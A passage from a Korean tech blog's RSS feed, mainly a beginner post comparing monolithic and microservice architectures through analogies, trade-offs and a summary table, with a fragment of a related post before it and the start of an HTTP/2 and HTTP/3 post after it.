/&gt;|&amp;nbsp;**데이터베이스**&amp;nbsp;|&amp;nbsp;하나의&amp;nbsp;단일&amp;nbsp;통합&amp;nbsp;DB&amp;nbsp;공유&amp;nbsp;|&amp;nbsp;서비스마다&amp;nbsp;전용&amp;nbsp;DB&amp;nbsp;보유&amp;nbsp;(분산&amp;nbsp;DB)&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**장애&amp;nbsp;영향도**&amp;nbsp;|&amp;nbsp;한&amp;nbsp;모듈의&amp;nbsp;버그가&amp;nbsp;전체&amp;nbsp;시스템&amp;nbsp;마비&amp;nbsp;|&amp;nbsp;해당&amp;nbsp;서비스에만&amp;nbsp;장애&amp;nbsp;격리&amp;nbsp;(Fault&amp;nbsp;Isolation)&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**확장성**&amp;nbsp;|&amp;nbsp;서버&amp;nbsp;전체를&amp;nbsp;통째로&amp;nbsp;복제해야&amp;nbsp;함&amp;nbsp;|&amp;nbsp;트래픽&amp;nbsp;몰리는&amp;nbsp;서비스만&amp;nbsp;핀포인트&amp;nbsp;확장&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**적합한&amp;nbsp;환경**&amp;nbsp;|&amp;nbsp;초기&amp;nbsp;스타트업,&amp;nbsp;비즈니스&amp;nbsp;검증&amp;nbsp;단계&amp;nbsp;|&amp;nbsp;대규모&amp;nbsp;트래픽,&amp;nbsp;수십~수백&amp;nbsp;명의&amp;nbsp;개발&amp;nbsp;조직&amp;nbsp;| &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**모놀리식**은&amp;nbsp;모든&amp;nbsp;기능을&amp;nbsp;하나의&amp;nbsp;거대한&amp;nbsp;서버로&amp;nbsp;빌드하는&amp;nbsp;전통적&amp;nbsp;방식으로,&amp;nbsp;초기&amp;nbsp;개발과&amp;nbsp;배포가&amp;nbsp;매우&amp;nbsp;빠르다. &lt;br /&gt;2.&amp;nbsp;**마이크로서비스(MSA)**는&amp;nbsp;비즈니스&amp;nbsp;단위로&amp;nbsp;서버와&amp;nbsp;DB를&amp;nbsp;잘게&amp;nbsp;쪼개어&amp;nbsp;독립&amp;nbsp;배포,&amp;nbsp;장애&amp;nbsp;격리,&amp;nbsp;핀포인트&amp;nbsp;확장을&amp;nbsp;달성한&amp;nbsp;현대&amp;nbsp;아키텍처다. &lt;br /&gt;3.&amp;nbsp;하지만&amp;nbsp;MSA는&amp;nbsp;분산&amp;nbsp;네트워크&amp;nbsp;지연,&amp;nbsp;트랜잭션&amp;nbsp;불일치&amp;nbsp;등&amp;nbsp;복잡성이&amp;nbsp;크므로,&amp;nbsp;서비스의&amp;nbsp;성장&amp;nbsp;규모에&amp;nbsp;맞춰&amp;nbsp;신중하게&amp;nbsp;도입해야&amp;nbsp;한다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;백엔드&amp;nbsp;서버가&amp;nbsp;모놀리식에서&amp;nbsp;MSA로&amp;nbsp;쪼개지며&amp;nbsp;고도화되었다면,&amp;nbsp;사용자가&amp;nbsp;가장&amp;nbsp;먼저&amp;nbsp;마주하는&amp;nbsp;웹&amp;nbsp;화면(프론트엔드)은&amp;nbsp;어떻게&amp;nbsp;진화했을까요? &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;웹&amp;nbsp;화면&amp;nbsp;렌더링의&amp;nbsp;패러다임&amp;nbsp;전쟁,&amp;nbsp;**[CSR&amp;nbsp;vs&amp;nbsp;SSR&amp;nbsp;vs&amp;nbsp;Next.js&amp;nbsp;-&amp;nbsp;검색엔진에&amp;nbsp;내&amp;nbsp;웹사이트가&amp;nbsp;안&amp;nbsp;나오는&amp;nbsp;진짜&amp;nbsp;이유]**를&amp;nbsp;명쾌하게&amp;nbsp;밝혀드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>프론트엔드 &amp;amp; 클라이언트</category>
      <category>MSA</category>
      <category>개발기초</category>
      <category>마이크로서비스</category>
      <category>모놀리식</category>
      <category>백엔드</category>
      <category>분산시스템</category>
      <category>서버아키텍처</category>
      <category>스프링부트</category>
      <category>클라우드</category>
      <category>프론트엔드</category>
      <author>arthurdaddy</author>
      <guid isPermaLink="true">https://softwin.tistory.com/88</guid>
      <comments>https://softwin.tistory.com/88#entry88comment</comments>
      <pubDate>Wed, 14 Oct 2026 23:30:01 +0900</pubDate>
    </item>
    <item>
      <title>모놀리식 vs 마이크로서비스(MSA) - 배달의민족과 넷플릭스는 왜 시스템을 쪼갰을까?</title>
      <link>https://softwin.tistory.com/87</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;#&amp;nbsp;모놀리식&amp;nbsp;vs&amp;nbsp;마이크로서비스(MSA)&amp;nbsp;-&amp;nbsp;배달의민족과&amp;nbsp;넷플릭스는&amp;nbsp;왜&amp;nbsp;시스템을&amp;nbsp;쪼갰을까? &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;하나의&amp;nbsp;거대한&amp;nbsp;거인과&amp;nbsp;수백&amp;nbsp;명의&amp;nbsp;소인국&amp;nbsp;특공대 &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;클라이언트와&amp;nbsp;서버가&amp;nbsp;웹에서&amp;nbsp;표준&amp;nbsp;규약에&amp;nbsp;따라&amp;nbsp;깔끔하게&amp;nbsp;대화하는&amp;nbsp;**RESTful&amp;nbsp;API**의&amp;nbsp;설계&amp;nbsp;원리를&amp;nbsp;살펴보았습니다.&amp;nbsp;API를&amp;nbsp;통해&amp;nbsp;요청을&amp;nbsp;주고받는&amp;nbsp;법을&amp;nbsp;배웠으니,&amp;nbsp;이제&amp;nbsp;그&amp;nbsp;요청을&amp;nbsp;받아&amp;nbsp;실제로&amp;nbsp;복잡한&amp;nbsp;비즈니스&amp;nbsp;로직을&amp;nbsp;처리하는&amp;nbsp;**서버&amp;nbsp;애플리케이션의&amp;nbsp;내부&amp;nbsp;구조(아키텍처)**를&amp;nbsp;들여다볼&amp;nbsp;차례입니다. &lt;br /&gt;&lt;br /&gt;스타트업을&amp;nbsp;처음&amp;nbsp;창업해서&amp;nbsp;개발을&amp;nbsp;시작할&amp;nbsp;때는&amp;nbsp;보통&amp;nbsp;로그인,&amp;nbsp;회원가입,&amp;nbsp;상품&amp;nbsp;검색,&amp;nbsp;결제,&amp;nbsp;장바구니&amp;nbsp;기능을&amp;nbsp;**하나의&amp;nbsp;커다란&amp;nbsp;코드&amp;nbsp;프로젝트(서버&amp;nbsp;1개)**에&amp;nbsp;전부&amp;nbsp;다&amp;nbsp;집어넣고&amp;nbsp;개발합니다.&amp;nbsp;만들기도&amp;nbsp;쉽고&amp;nbsp;배포도&amp;nbsp;한&amp;nbsp;번만&amp;nbsp;딸깍하면&amp;nbsp;끝나기&amp;nbsp;때문이죠. &lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;회사가&amp;nbsp;급성장하여&amp;nbsp;사용자가&amp;nbsp;1,000만&amp;nbsp;명을&amp;nbsp;넘어가고&amp;nbsp;개발자가&amp;nbsp;수백&amp;nbsp;명으로&amp;nbsp;불어나면,&amp;nbsp;이&amp;nbsp;거대한&amp;nbsp;단일&amp;nbsp;시스템은&amp;nbsp;서서히&amp;nbsp;통제&amp;nbsp;불능의&amp;nbsp;괴물로&amp;nbsp;변해버립니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;결제&amp;nbsp;기능&amp;nbsp;코드&amp;nbsp;한&amp;nbsp;줄&amp;nbsp;고쳐서&amp;nbsp;서버를&amp;nbsp;다시&amp;nbsp;띄웠을&amp;nbsp;뿐인데,&amp;nbsp;엉뚱하게&amp;nbsp;장바구니와&amp;nbsp;로그인까지&amp;nbsp;싹&amp;nbsp;다&amp;nbsp;먹통이&amp;nbsp;되어&amp;nbsp;서비스&amp;nbsp;전체가&amp;nbsp;멈춰버렸습니다!&quot;** &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;치명적인&amp;nbsp;재앙을&amp;nbsp;겪은&amp;nbsp;넷플릭스,&amp;nbsp;배달의민족,&amp;nbsp;아마존,&amp;nbsp;쿠팡&amp;nbsp;같은&amp;nbsp;빅테크&amp;nbsp;기업들은&amp;nbsp;모두&amp;nbsp;수년에&amp;nbsp;걸쳐&amp;nbsp;기존의&amp;nbsp;통짜&amp;nbsp;서버를&amp;nbsp;부수고&amp;nbsp;잘게&amp;nbsp;쪼개는&amp;nbsp;대수술을&amp;nbsp;감행했습니다. &lt;br /&gt;&lt;br /&gt;과연&amp;nbsp;**모놀리식(Monolithic)**은&amp;nbsp;무엇이고,&amp;nbsp;현대&amp;nbsp;백엔드의&amp;nbsp;대세가&amp;nbsp;된&amp;nbsp;**마이크로서비스&amp;nbsp;아키텍처(Microservices&amp;nbsp;Architecture,&amp;nbsp;MSA)**는&amp;nbsp;왜&amp;nbsp;탄생했을까요? &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;'대형&amp;nbsp;만물상&amp;nbsp;백화점'&amp;nbsp;vs&amp;nbsp;'전문&amp;nbsp;상가&amp;nbsp;골목' &lt;br /&gt;&lt;br /&gt;두&amp;nbsp;아키텍처의&amp;nbsp;차이는&amp;nbsp;**통합&amp;nbsp;백화점**과&amp;nbsp;**전문&amp;nbsp;상가&amp;nbsp;골목**의&amp;nbsp;차이로&amp;nbsp;단번에&amp;nbsp;이해할&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;모놀리식&amp;nbsp;아키텍처:&amp;nbsp;거대한&amp;nbsp;단일&amp;nbsp;건물&amp;nbsp;] &lt;br /&gt;+-----------------------------------------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;거대한&amp;nbsp;10층&amp;nbsp;백화점&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;[회원&amp;nbsp;관리]&amp;nbsp;+&amp;nbsp;[상품&amp;nbsp;검색]&amp;nbsp;+&amp;nbsp;[주문/결제]&amp;nbsp;+&amp;nbsp;[배송&amp;nbsp;추적]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;-&amp;nbsp;화재경보기&amp;nbsp;하나&amp;nbsp;오작동하면&amp;nbsp;건물&amp;nbsp;전체&amp;nbsp;손님&amp;nbsp;대피!&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;-&amp;nbsp;화장실&amp;nbsp;타일&amp;nbsp;하나&amp;nbsp;바꾸려고&amp;nbsp;백화점&amp;nbsp;전&amp;nbsp;층&amp;nbsp;임시&amp;nbsp;휴점!&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+-----------------------------------------------------------+ &lt;br /&gt;&lt;br /&gt;[&amp;nbsp;마이크로서비스(MSA):&amp;nbsp;독립된&amp;nbsp;전문점&amp;nbsp;거리&amp;nbsp;] &lt;br /&gt;+-------------+&amp;nbsp;&amp;nbsp;+-------------+&amp;nbsp;&amp;nbsp;+-------------+&amp;nbsp;&amp;nbsp;+-------------+ &lt;br /&gt;|&amp;nbsp; &amp;nbsp;회원마트&amp;nbsp;|&amp;nbsp;&amp;nbsp;|&amp;nbsp; &amp;nbsp;상품센터&amp;nbsp;|&amp;nbsp;&amp;nbsp;|&amp;nbsp; &amp;nbsp;결제은행&amp;nbsp;|&amp;nbsp;&amp;nbsp;|&amp;nbsp; &amp;nbsp;배송허브&amp;nbsp;| &lt;br /&gt;+-------------+&amp;nbsp;&amp;nbsp;+-------------+&amp;nbsp;&amp;nbsp;+-------------+&amp;nbsp;&amp;nbsp;+-------------+ &lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;결제은행에&amp;nbsp;불이&amp;nbsp;나도(서버&amp;nbsp;장애),&amp;nbsp;상품센터에서&amp;nbsp;물건&amp;nbsp;구경은&amp;nbsp;100%&amp;nbsp;정상&amp;nbsp;작동! &lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;배송허브만&amp;nbsp;직원을&amp;nbsp;10배&amp;nbsp;늘리고&amp;nbsp;싶으면&amp;nbsp;배송허브&amp;nbsp;건물만&amp;nbsp;단독&amp;nbsp;증축&amp;nbsp;가능! &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;1)&amp;nbsp;모놀리식&amp;nbsp;(Monolithic:&amp;nbsp;거대한&amp;nbsp;통짜&amp;nbsp;바위) &lt;br /&gt;모든&amp;nbsp;비즈니스&amp;nbsp;로직(회원,&amp;nbsp;주문,&amp;nbsp;결제,&amp;nbsp;리뷰&amp;nbsp;등)이&amp;nbsp;하나의&amp;nbsp;프로젝트&amp;nbsp;코드베이스&amp;nbsp;안에&amp;nbsp;들어있고,&amp;nbsp;하나의&amp;nbsp;거대한&amp;nbsp;실행&amp;nbsp;파일(WAR/JAR&amp;nbsp;등)로&amp;nbsp;빌드되어&amp;nbsp;동일한&amp;nbsp;데이터베이스를&amp;nbsp;공유하는&amp;nbsp;전통적인&amp;nbsp;구조입니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;2)&amp;nbsp;마이크로서비스&amp;nbsp;(Microservices&amp;nbsp;Architecture:&amp;nbsp;작고&amp;nbsp;독립된&amp;nbsp;서비스의&amp;nbsp;연합) &lt;br /&gt;거대한&amp;nbsp;소프트웨어를&amp;nbsp;비즈니스&amp;nbsp;기능&amp;nbsp;단위로&amp;nbsp;잘게&amp;nbsp;쪼개어,&amp;nbsp;**각각&amp;nbsp;독립적인&amp;nbsp;서버&amp;nbsp;프로세스와&amp;nbsp;독립적인&amp;nbsp;전용&amp;nbsp;데이터베이스를&amp;nbsp;갖추고&amp;nbsp;네트워크(REST&amp;nbsp;API,&amp;nbsp;gRPC,&amp;nbsp;Kafka)로&amp;nbsp;대화**하는&amp;nbsp;분산&amp;nbsp;아키텍처입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp;⚖️&amp;nbsp;2.&amp;nbsp;왜&amp;nbsp;기업들은&amp;nbsp;고통을&amp;nbsp;감수하고&amp;nbsp;MSA로&amp;nbsp;넘어갔을까? &lt;br /&gt;&lt;br /&gt;모놀리식에서&amp;nbsp;MSA로&amp;nbsp;전환하는&amp;nbsp;것은&amp;nbsp;시스템을&amp;nbsp;처음부터&amp;nbsp;다시&amp;nbsp;만드는&amp;nbsp;것만큼이나&amp;nbsp;고통스러운&amp;nbsp;과정입니다.&amp;nbsp;그럼에도&amp;nbsp;불구하고&amp;nbsp;왜&amp;nbsp;글로벌&amp;nbsp;테크&amp;nbsp;기업들은&amp;nbsp;MSA를&amp;nbsp;선택했을까요? &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;①&amp;nbsp;부분&amp;nbsp;장애의&amp;nbsp;격리&amp;nbsp;(Blast&amp;nbsp;Radius&amp;nbsp;축소) &lt;br /&gt;*&amp;nbsp;**모놀리식**:&amp;nbsp;리뷰&amp;nbsp;게시판에&amp;nbsp;메모리&amp;nbsp;누수가&amp;nbsp;발생해&amp;nbsp;서버&amp;nbsp;메모리가&amp;nbsp;꽉&amp;nbsp;차면,&amp;nbsp;결제와&amp;nbsp;주문&amp;nbsp;서버까지&amp;nbsp;함께&amp;nbsp;죽어버려&amp;nbsp;회사&amp;nbsp;매출이&amp;nbsp;0원이&amp;nbsp;됩니다. &lt;br /&gt;*&amp;nbsp;**MSA**:&amp;nbsp;리뷰&amp;nbsp;서비스가&amp;nbsp;폭발해서&amp;nbsp;다운되더라도,&amp;nbsp;주문과&amp;nbsp;결제&amp;nbsp;서비스는&amp;nbsp;아무런&amp;nbsp;영향을&amp;nbsp;받지&amp;nbsp;않고&amp;nbsp;멀쩡하게&amp;nbsp;돌아갑니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;②&amp;nbsp;유연하고&amp;nbsp;폭발적인&amp;nbsp;확장성&amp;nbsp;(Independent&amp;nbsp;Scaling) &lt;br /&gt;*&amp;nbsp;블랙프라이데이나&amp;nbsp;타임세일&amp;nbsp;이벤트가&amp;nbsp;열리면&amp;nbsp;'결제/주문'&amp;nbsp;트래픽만&amp;nbsp;평소의&amp;nbsp;100배로&amp;nbsp;치솟습니다. &lt;br /&gt;*&amp;nbsp;**모놀리식**:&amp;nbsp;결제&amp;nbsp;하나&amp;nbsp;때문에&amp;nbsp;무거운&amp;nbsp;백화점&amp;nbsp;전체&amp;nbsp;서버를&amp;nbsp;100대&amp;nbsp;복제해야&amp;nbsp;하므로&amp;nbsp;엄청난&amp;nbsp;서버&amp;nbsp;비용이&amp;nbsp;낭비됩니다. &lt;br /&gt;*&amp;nbsp;**MSA**:&amp;nbsp;결제&amp;nbsp;서비스&amp;nbsp;컨테이너만&amp;nbsp;100개로&amp;nbsp;핀포인트&amp;nbsp;증설(스케일&amp;nbsp;아웃)하면&amp;nbsp;되므로&amp;nbsp;인프라&amp;nbsp;비용이&amp;nbsp;획기적으로&amp;nbsp;절감됩니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;③&amp;nbsp;배포의&amp;nbsp;자유&amp;nbsp;(배포&amp;nbsp;공포증&amp;nbsp;퇴치) &lt;br /&gt;*&amp;nbsp;**모놀리식**:&amp;nbsp;100명의&amp;nbsp;개발자가&amp;nbsp;각자&amp;nbsp;짠&amp;nbsp;코드를&amp;nbsp;한곳에&amp;nbsp;합쳐서&amp;nbsp;새벽&amp;nbsp;2시에&amp;nbsp;서비스&amp;nbsp;전체를&amp;nbsp;내리고&amp;nbsp;벌벌&amp;nbsp;떨며&amp;nbsp;배포해야&amp;nbsp;합니다. &lt;br /&gt;*&amp;nbsp;**MSA**:&amp;nbsp;회원&amp;nbsp;팀은&amp;nbsp;주문&amp;nbsp;팀&amp;nbsp;눈치를&amp;nbsp;볼&amp;nbsp;필요&amp;nbsp;없이,&amp;nbsp;자신들의&amp;nbsp;회원&amp;nbsp;서비스만&amp;nbsp;대낮에&amp;nbsp;1초&amp;nbsp;만에&amp;nbsp;단독&amp;nbsp;배포할&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;넷플릭스는&amp;nbsp;하루에도&amp;nbsp;수천&amp;nbsp;번씩&amp;nbsp;서비스를&amp;nbsp;무중단&amp;nbsp;배포합니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3.&amp;nbsp;MSA의&amp;nbsp;어두운&amp;nbsp;이면&amp;nbsp;-&amp;nbsp;세상에&amp;nbsp;공짜&amp;nbsp;점심은&amp;nbsp;없다 &lt;br /&gt;&lt;br /&gt;그렇다면&amp;nbsp;모든&amp;nbsp;회사가&amp;nbsp;무조건&amp;nbsp;MSA를&amp;nbsp;도입해야&amp;nbsp;할까요?&amp;nbsp;**절대&amp;nbsp;아닙니다.**&amp;nbsp;MSA는&amp;nbsp;수많은&amp;nbsp;장점만큼이나&amp;nbsp;끔찍한&amp;nbsp;복잡성을&amp;nbsp;대가로&amp;nbsp;요구합니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;MSA의&amp;nbsp;3대&amp;nbsp;골칫거리&amp;nbsp;] &lt;br /&gt;1.&amp;nbsp;네트워크&amp;nbsp;지연과&amp;nbsp;장애:&amp;nbsp;함수&amp;nbsp;호출(0.0001초)이&amp;nbsp;네트워크&amp;nbsp;API&amp;nbsp;호출(0.05초)로&amp;nbsp;바뀌어&amp;nbsp;느려짐 &lt;br /&gt;2.&amp;nbsp;분산&amp;nbsp;트랜잭션의&amp;nbsp;지옥:&amp;nbsp;DB가&amp;nbsp;쪼개져서&amp;nbsp;한쪽은&amp;nbsp;결제&amp;nbsp;성공했는데&amp;nbsp;주문&amp;nbsp;저장은&amp;nbsp;실패하면&amp;nbsp;어떻게&amp;nbsp;롤백할까?&amp;nbsp;(SAGA&amp;nbsp;패턴&amp;nbsp;필요) &lt;br /&gt;3.&amp;nbsp;데이터&amp;nbsp;정합성과&amp;nbsp;모니터링:&amp;nbsp;어디서&amp;nbsp;에러가&amp;nbsp;났는지&amp;nbsp;추적하려면&amp;nbsp;수십&amp;nbsp;개&amp;nbsp;서버의&amp;nbsp;로그를&amp;nbsp;엮어야&amp;nbsp;함&amp;nbsp;(분산&amp;nbsp;트레이싱&amp;nbsp;필수) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;마틴&amp;nbsp;파울러(Martin&amp;nbsp;Fowler)를&amp;nbsp;비롯한&amp;nbsp;세계적인&amp;nbsp;소프트웨어&amp;nbsp;구루들은&amp;nbsp;입을&amp;nbsp;모아&amp;nbsp;경고합니다. &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;처음부터&amp;nbsp;MSA로&amp;nbsp;시작하지&amp;nbsp;마라.&amp;nbsp;시스템이&amp;nbsp;작고&amp;nbsp;단순할&amp;nbsp;때는&amp;nbsp;모놀리식이&amp;nbsp;10배&amp;nbsp;더&amp;nbsp;빠르고&amp;nbsp;효율적이다.&amp;nbsp;모놀리식으로&amp;nbsp;시작해서&amp;nbsp;한계에&amp;nbsp;부딪혔을&amp;nbsp;때&amp;nbsp;비로소&amp;nbsp;MSA로&amp;nbsp;쪼개라!&quot;** &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;모놀리식&amp;nbsp;vs&amp;nbsp;MSA&amp;nbsp;한눈에&amp;nbsp;비교 &lt;br /&gt;&lt;br /&gt;|&amp;nbsp;비교&amp;nbsp;항목&amp;nbsp;|&amp;nbsp;모놀리식&amp;nbsp;(Monolithic)&amp;nbsp;|&amp;nbsp;마이크로서비스&amp;nbsp;(MSA)&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**시스템&amp;nbsp;복잡도**&amp;nbsp;|&amp;nbsp;초기&amp;nbsp;단순함,&amp;nbsp;규모&amp;nbsp;커지면&amp;nbsp;극도로&amp;nbsp;복잡&amp;nbsp;|&amp;nbsp;초기부터&amp;nbsp;매우&amp;nbsp;복잡함&amp;nbsp;(인프라/DevOps&amp;nbsp;필수)&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**배포&amp;nbsp;단위**&amp;nbsp;|&amp;nbsp;서비스&amp;nbsp;전체&amp;nbsp;일괄&amp;nbsp;배포&amp;nbsp;|&amp;nbsp;각&amp;nbsp;서비스별&amp;nbsp;독립적&amp;nbsp;무중단&amp;nbsp;배포&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**데이터베이스**&amp;nbsp;|&amp;nbsp;하나의&amp;nbsp;단일&amp;nbsp;통합&amp;nbsp;DB&amp;nbsp;공유&amp;nbsp;|&amp;nbsp;서비스마다&amp;nbsp;전용&amp;nbsp;DB&amp;nbsp;보유&amp;nbsp;(분산&amp;nbsp;DB)&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**장애&amp;nbsp;영향도**&amp;nbsp;|&amp;nbsp;한&amp;nbsp;모듈의&amp;nbsp;버그가&amp;nbsp;전체&amp;nbsp;시스템&amp;nbsp;마비&amp;nbsp;|&amp;nbsp;해당&amp;nbsp;서비스에만&amp;nbsp;장애&amp;nbsp;격리&amp;nbsp;(Fault&amp;nbsp;Isolation)&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**확장성**&amp;nbsp;|&amp;nbsp;서버&amp;nbsp;전체를&amp;nbsp;통째로&amp;nbsp;복제해야&amp;nbsp;함&amp;nbsp;|&amp;nbsp;트래픽&amp;nbsp;몰리는&amp;nbsp;서비스만&amp;nbsp;핀포인트&amp;nbsp;확장&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**적합한&amp;nbsp;환경**&amp;nbsp;|&amp;nbsp;초기&amp;nbsp;스타트업,&amp;nbsp;비즈니스&amp;nbsp;검증&amp;nbsp;단계&amp;nbsp;|&amp;nbsp;대규모&amp;nbsp;트래픽,&amp;nbsp;수십~수백&amp;nbsp;명의&amp;nbsp;개발&amp;nbsp;조직&amp;nbsp;| &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**모놀리식**은&amp;nbsp;모든&amp;nbsp;기능을&amp;nbsp;하나의&amp;nbsp;거대한&amp;nbsp;서버로&amp;nbsp;빌드하는&amp;nbsp;전통적&amp;nbsp;방식으로,&amp;nbsp;초기&amp;nbsp;개발과&amp;nbsp;배포가&amp;nbsp;매우&amp;nbsp;빠르다. &lt;br /&gt;2.&amp;nbsp;**마이크로서비스(MSA)**는&amp;nbsp;비즈니스&amp;nbsp;단위로&amp;nbsp;서버와&amp;nbsp;DB를&amp;nbsp;잘게&amp;nbsp;쪼개어&amp;nbsp;독립&amp;nbsp;배포,&amp;nbsp;장애&amp;nbsp;격리,&amp;nbsp;핀포인트&amp;nbsp;확장을&amp;nbsp;달성한&amp;nbsp;현대&amp;nbsp;아키텍처다. &lt;br /&gt;3.&amp;nbsp;하지만&amp;nbsp;MSA는&amp;nbsp;분산&amp;nbsp;네트워크&amp;nbsp;지연,&amp;nbsp;트랜잭션&amp;nbsp;불일치&amp;nbsp;등&amp;nbsp;복잡성이&amp;nbsp;크므로,&amp;nbsp;서비스의&amp;nbsp;성장&amp;nbsp;규모에&amp;nbsp;맞춰&amp;nbsp;신중하게&amp;nbsp;도입해야&amp;nbsp;한다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;백엔드&amp;nbsp;서버가&amp;nbsp;모놀리식에서&amp;nbsp;MSA로&amp;nbsp;쪼개지며&amp;nbsp;고도화되었다면,&amp;nbsp;사용자가&amp;nbsp;가장&amp;nbsp;먼저&amp;nbsp;마주하는&amp;nbsp;웹&amp;nbsp;화면(프론트엔드)은&amp;nbsp;어떻게&amp;nbsp;진화했을까요? &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;웹&amp;nbsp;화면&amp;nbsp;렌더링의&amp;nbsp;패러다임&amp;nbsp;전쟁,&amp;nbsp;**[CSR&amp;nbsp;vs&amp;nbsp;SSR&amp;nbsp;vs&amp;nbsp;Next.js&amp;nbsp;-&amp;nbsp;검색엔진에&amp;nbsp;내&amp;nbsp;웹사이트가&amp;nbsp;안&amp;nbsp;나오는&amp;nbsp;진짜&amp;nbsp;이유]**를&amp;nbsp;명쾌하게&amp;nbsp;밝혀드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>백엔드 &amp;amp; 서버 아키텍처</category>
      <category>MSA</category>
      <category>개발기초</category>
      <category>마이크로서비스</category>
      <category>모놀리식</category>
      <category>백엔드</category>
      <category>분산시스템</category>
      <category>서버아키텍처</category>
      <category>스프링부트</category>
      <category>클라우드</category>
      <author>arthurdaddy</author>
      <guid isPermaLink="true">https://softwin.tistory.com/87</guid>
      <comments>https://softwin.tistory.com/87#entry87comment</comments>
      <pubDate>Wed, 14 Oct 2026 23:28:37 +0900</pubDate>
    </item>
    <item>
      <title>HTTP/2와 HTTP/3(QUIC)의 혁신 - 웹페이지 로딩 속도가 3배 빨라진 비밀</title>
      <link>https://softwin.tistory.com/86</link>
